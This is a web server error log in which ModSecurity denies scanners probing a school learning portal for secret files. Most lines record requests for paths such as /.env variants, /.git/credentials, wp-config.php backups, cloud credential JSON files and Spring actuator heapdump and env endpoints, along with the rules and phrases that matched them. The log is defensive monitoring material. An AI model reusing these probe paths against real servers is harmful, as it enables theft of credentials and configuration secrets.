[Sat May 09 22:14:27.336423 2026] [:error] [pid 55191:tid 55285] [client 91.218.51.85:20708] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/sendgrid.yml"] [unique_id "af9BQ_Mcqx1kfQsw7c4TdgAAAIg"]
[Sat May 09 22:14:27.601005 2026] [:error] [pid 55353:tid 55374] [client 91.218.51.85:20726] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/management/heapdump"] [unique_id "af9BQyDuyNO3XosoIYRaLQAAARM"]
[Sat May 09 22:14:27.603038 2026] [:error] [pid 55353:tid 55357] [client 91.218.51.85:20740] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/api/actuator/env"] [unique_id "af9BQyDuyNO3XosoIYRaLgAAAQI"]
[Sat May 09 22:14:27.795777 2026] [:error] [pid 55353:tid 55378] [client 91.218.51.85:20760] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/actuator/jolokia"] [unique_id "af9BQyDuyNO3XosoIYRaMAAAARc"]
[Sat May 09 22:14:27.797694 2026] [:error] [pid 55191:tid 55284] [client 91.218.51.85:20744] [client 91.218.51.85] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-config.php.bak"] [unique_id "af9BQ_Mcqx1kfQsw7c4TeAAAAIc"]
[Sat May 09 22:14:27.955837 2026] [:error] [pid 55353:tid 55366] [client 91.218.51.85:20780] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/serviceAccountKey.json"] [unique_id "af9BQyDuyNO3XosoIYRaMgAAAQs"]
[Sat May 09 22:14:27.956894 2026] [:error] [pid 55186:tid 55251] [client 91.218.51.85:20770] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/actuator/beans"] [unique_id "af9BQ5PIspqZdXg7QQu2WQAAAEI"]
[Sat May 09 22:14:29.817583 2026] [:error] [pid 55186:tid 55261] [client 91.218.51.85:20822] [client 91.218.51.85] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.save"] [unique_id "af9BRZPIspqZdXg7QQu2XAAAAEw"]
[Sat May 09 22:14:30.883023 2026] [:error] [pid 55353:tid 55363] [client 91.218.51.85:20866] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/management/heapdump"] [unique_id "af9BRiDuyNO3XosoIYRaOQAAAQg"]
[Sat May 09 22:14:30.883542 2026] [:error] [pid 55353:tid 55372] [client 91.218.51.85:20874] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/api/actuator/env"] [unique_id "af9BRiDuyNO3XosoIYRaOgAAARE"]
[Sat May 09 22:14:30.925767 2026] [:error] [pid 55182:tid 55214] [client 91.218.51.85:20878] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/actuator/jolokia"] [unique_id "af9BRjaxmP-S8ASrqQnhHQAAAMI"]
[Sat May 09 22:14:31.284422 2026] [:error] [pid 55353:tid 55377] [client 91.218.51.85:20892] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/serviceAccountKey.json"] [unique_id "af9BRyDuyNO3XosoIYRaPAAAARY"]
[Sun May 10 05:09:07.011005 2026] [:error] [pid 32915:tid 32924] [client 34.18.95.103:59348] [client 34.18.95.103] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "af-iczg8EIe76RX8AUaGYQAAAQQ"]
[Mon May 11 20:58:44.944729 2026] [:error] [pid 58615:tid 58640] [client 34.140.159.210:53528] [client 34.140.159.210] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/app/.env"] [unique_id "agHShFK28yH055J8TSrmaAAAABU"]
[Mon May 11 20:58:44.952528 2026] [:error] [pid 4685:tid 4697] [client 34.140.159.210:53532] [client 34.140.159.210] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.dev"] [unique_id "agHShHwrjbU4NZilCZ8HNwAAAQk"]
[Mon May 11 20:58:44.992006 2026] [:error] [pid 4685:tid 4706] [client 34.140.159.210:53544] [client 34.140.159.210] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.docker"] [unique_id "agHShHwrjbU4NZilCZ8HOAAAARI"]
[Mon May 11 20:58:45.035735 2026] [:error] [pid 4685:tid 4693] [client 34.140.159.210:53546] [client 34.140.159.210] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/api/.env"] [unique_id "agHShXwrjbU4NZilCZ8HOQAAAQU"]
[Mon May 11 20:58:45.279098 2026] [:error] [pid 58616:tid 58661] [client 34.140.159.210:53550] [client 34.140.159.210] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.local"] [unique_id "agHShdnsbeF5ioCAecjuGAAAAM8"]
[Mon May 11 20:58:45.285205 2026] [:error] [pid 58677:tid 58689] [client 34.140.159.210:53554] [client 34.140.159.210] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/admin/.env"] [unique_id "agHShRasRhyteIXf1RVsmgAAAIE"]
[Mon May 11 20:58:45.414594 2026] [:error] [pid 4685:tid 4688] [client 34.140.159.210:53566] [client 34.140.159.210] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.development.local"] [unique_id "agHShXwrjbU4NZilCZ8HOgAAAQA"]
[Mon May 11 20:58:45.421221 2026] [:error] [pid 58616:tid 58663] [client 34.140.159.210:53556] [client 34.140.159.210] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/app/.env.local"] [unique_id "agHShdnsbeF5ioCAecjuGgAAANE"]
[Mon May 11 20:58:45.638783 2026] [:error] [pid 58677:tid 58701] [client 34.140.159.210:53582] [client 34.140.159.210] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "agHShRasRhyteIXf1RVsmwAAAI0"]
[Mon May 11 20:58:45.639034 2026] [:error] [pid 58677:tid 58712] [client 34.140.159.210:53574] [client 34.140.159.210] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.dev.local"] [unique_id "agHShRasRhyteIXf1RVsnAAAAJg"]
[Tue May 12 05:11:13.506217 2026] [:error] [pid 55559:tid 55642] [client 176.65.139.234:45598] [client 176.65.139.234] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/app/.env"] [unique_id "agJF8dj0hVMLJAOI_fw6vwAAARU"]
[Tue May 12 14:59:00.802544 2026] [:error] [pid 21242:tid 21269] [client 91.218.51.85:45012] [client 91.218.51.85] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/credentials"] [unique_id "agLPtMzeh8JWZob6PnKnXwAAAZc"]
[Tue May 12 14:59:01.452456 2026] [:error] [pid 21242:tid 21252] [client 91.218.51.85:45014] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/sendgrid.yaml"] [unique_id "agLPtczeh8JWZob6PnKnYAAAAYY"]
[Tue May 12 14:59:02.178534 2026] [:error] [pid 21242:tid 21246] [client 91.218.51.85:45022] [client 91.218.51.85] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.staging"] [unique_id "agLPtszeh8JWZob6PnKnYwAAAYA"]
[Tue May 12 14:59:02.178770 2026] [:error] [pid 21242:tid 21260] [client 91.218.51.85:45020] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/actuator/jolokia"] [unique_id "agLPtszeh8JWZob6PnKnYgAAAY4"]
[Tue May 12 14:59:03.682988 2026] [:error] [pid 55559:tid 55636] [client 91.218.51.85:45040] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/api/actuator/configprops"] [unique_id "agLPt9j0hVMLJAOI_fyYnwAAARA"]
[Tue May 12 14:59:03.686354 2026] [:error] [pid 42143:tid 42171] [client 91.218.51.85:45084] [client 91.218.51.85] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-config.php.old"] [unique_id "agLPt0S2WmK92iCO2L3f-AAAAVg"]
[Tue May 12 14:59:03.688853 2026] [:error] [pid 42143:tid 42168] [client 91.218.51.85:45056] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.gcp/credentials.json"] [unique_id "agLPt0S2WmK92iCO2L3f-QAAAVU"]
[Tue May 12 14:59:03.690642 2026] [:error] [pid 21242:tid 21248] [client 91.218.51.85:45062] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/conf/server.xml"] [unique_id "agLPt8zeh8JWZob6PnKnZAAAAYI"]
[Tue May 12 14:59:03.691078 2026] [:error] [pid 42143:tid 42164] [client 91.218.51.85:45070] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/actuator;/heapdump"] [unique_id "agLPt0S2WmK92iCO2L3f-gAAAVE"]
[Tue May 12 14:59:03.693339 2026] [:error] [pid 21242:tid 21261] [client 91.218.51.85:45038] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/actuator/beans"] [unique_id "agLPt8zeh8JWZob6PnKnZQAAAY8"]
[Tue May 12 14:59:06.692096 2026] [:error] [pid 40061:tid 40066] [client 91.218.51.85:31718] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/sendgrid.yaml"] [unique_id "agLPurycIKt8hxHMBYvapQAAAMM"]
[Tue May 12 14:59:08.221451 2026] [:error] [pid 55559:tid 55626] [client 91.218.51.85:31744] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/api/actuator/configprops"] [unique_id "agLPvNj0hVMLJAOI_fyYpgAAAQg"]
[Tue May 12 14:59:08.221479 2026] [:error] [pid 40061:tid 40081] [client 91.218.51.85:31778] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/actuator/beans"] [unique_id "agLPvLycIKt8hxHMBYvapwAAANI"]
[Tue May 12 14:59:08.221508 2026] [:error] [pid 40061:tid 40086] [client 91.218.51.85:31756] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/conf/server.xml"] [unique_id "agLPvLycIKt8hxHMBYvaqAAAANc"]
[Tue May 12 14:59:08.222335 2026] [:error] [pid 40061:tid 40085] [client 91.218.51.85:31750] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.gcp/credentials.json"] [unique_id "agLPvLycIKt8hxHMBYvaqQAAANY"]
[Tue May 12 14:59:08.224372 2026] [:error] [pid 39958:tid 40038] [client 91.218.51.85:31768] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/actuator;/heapdump"] [unique_id "agLPvOVI9FVDxXB2XxhlOgAAAJM"]
[Wed May 13 06:06:10.350109 2026] [:error] [pid 23782:tid 23824] [client 91.218.51.85:61634] [client 91.218.51.85] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.staging"] [unique_id "agOkUiBrKFYHXUGnR-p0MgAAAEM"]
[Fri May 15 10:31:57.204219 2026] [:error] [pid 51234:tid 51253] [client 34.50.20.142:52992] [client 34.50.20.142] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "agaFnd72N9CbeiqcqgPfagAAAVE"]
[Fri May 15 12:19:39.598817 2026] [:error] [pid 51234:tid 51252] [client 35.228.139.152:47922] [client 35.228.139.152] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/app/.env.local"] [unique_id "agae2972N9CbeiqcqgMA0wAAAVA"]
[Fri May 15 12:19:39.601603 2026] [:error] [pid 51234:tid 51258] [client 35.228.139.152:47908] [client 35.228.139.152] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/app/.env"] [unique_id "agae2972N9CbeiqcqgMA1AAAAVY"]
[Fri May 15 12:19:39.737900 2026] [:error] [pid 51234:tid 51250] [client 35.228.139.152:47948] [client 35.228.139.152] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.development.local"] [unique_id "agae2972N9CbeiqcqgMA1QAAAU4"]
[Fri May 15 12:19:39.742570 2026] [:error] [pid 51234:tid 51260] [client 35.228.139.152:47938] [client 35.228.139.152] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.dev.local"] [unique_id "agae2972N9CbeiqcqgMA1gAAAVg"]
[Fri May 15 12:19:39.944857 2026] [:error] [pid 51234:tid 51257] [client 35.228.139.152:47962] [client 35.228.139.152] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/admin/.env"] [unique_id "agae2972N9CbeiqcqgMA2AAAAVU"]
[Fri May 15 12:19:40.009049 2026] [:error] [pid 1190:tid 1261] [client 35.228.139.152:47972] [client 35.228.139.152] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/api/.env"] [unique_id "agae3NqiXrD7hne4gFbZOgAAAIk"]
[Fri May 15 12:19:40.206598 2026] [:error] [pid 1190:tid 1254] [client 35.228.139.152:47980] [client 35.228.139.152] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.dev"] [unique_id "agae3NqiXrD7hne4gFbZOwAAAII"]
[Fri May 15 12:19:40.357592 2026] [:error] [pid 51234:tid 51242] [client 35.228.139.152:47994] [client 35.228.139.152] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "agae3N72N9CbeiqcqgMA2QAAAUY"]
[Fri May 15 12:19:40.627206 2026] [:error] [pid 51234:tid 51254] [client 35.228.139.152:48000] [client 35.228.139.152] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.docker"] [unique_id "agae3N72N9CbeiqcqgMA2gAAAVI"]
[Fri May 15 12:19:40.690880 2026] [:error] [pid 51234:tid 51255] [client 35.228.139.152:48006] [client 35.228.139.152] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.local"] [unique_id "agae3N72N9CbeiqcqgMA2wAAAVM"]
[Fri May 15 12:49:26.649540 2026] [:error] [pid 9392:tid 9407] [client 34.47.78.82:34226] [client 34.47.78.82] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "agal1tBWJIjH1U9zGfZ4sQAAAQ0"]
[Fri May 15 15:22:14.625722 2026] [:error] [pid 9392:tid 9397] [client 34.175.26.55:59690] [client 34.175.26.55] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "agbJptBWJIjH1U9zGfaqAAAAAQM"]
[Fri May 15 15:23:26.702894 2026] [:error] [pid 9305:tid 9359] [client 35.227.109.215:36434] [client 35.227.109.215] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "agbJ7t5FZyBmdCM8GsF84QAAAFU"]
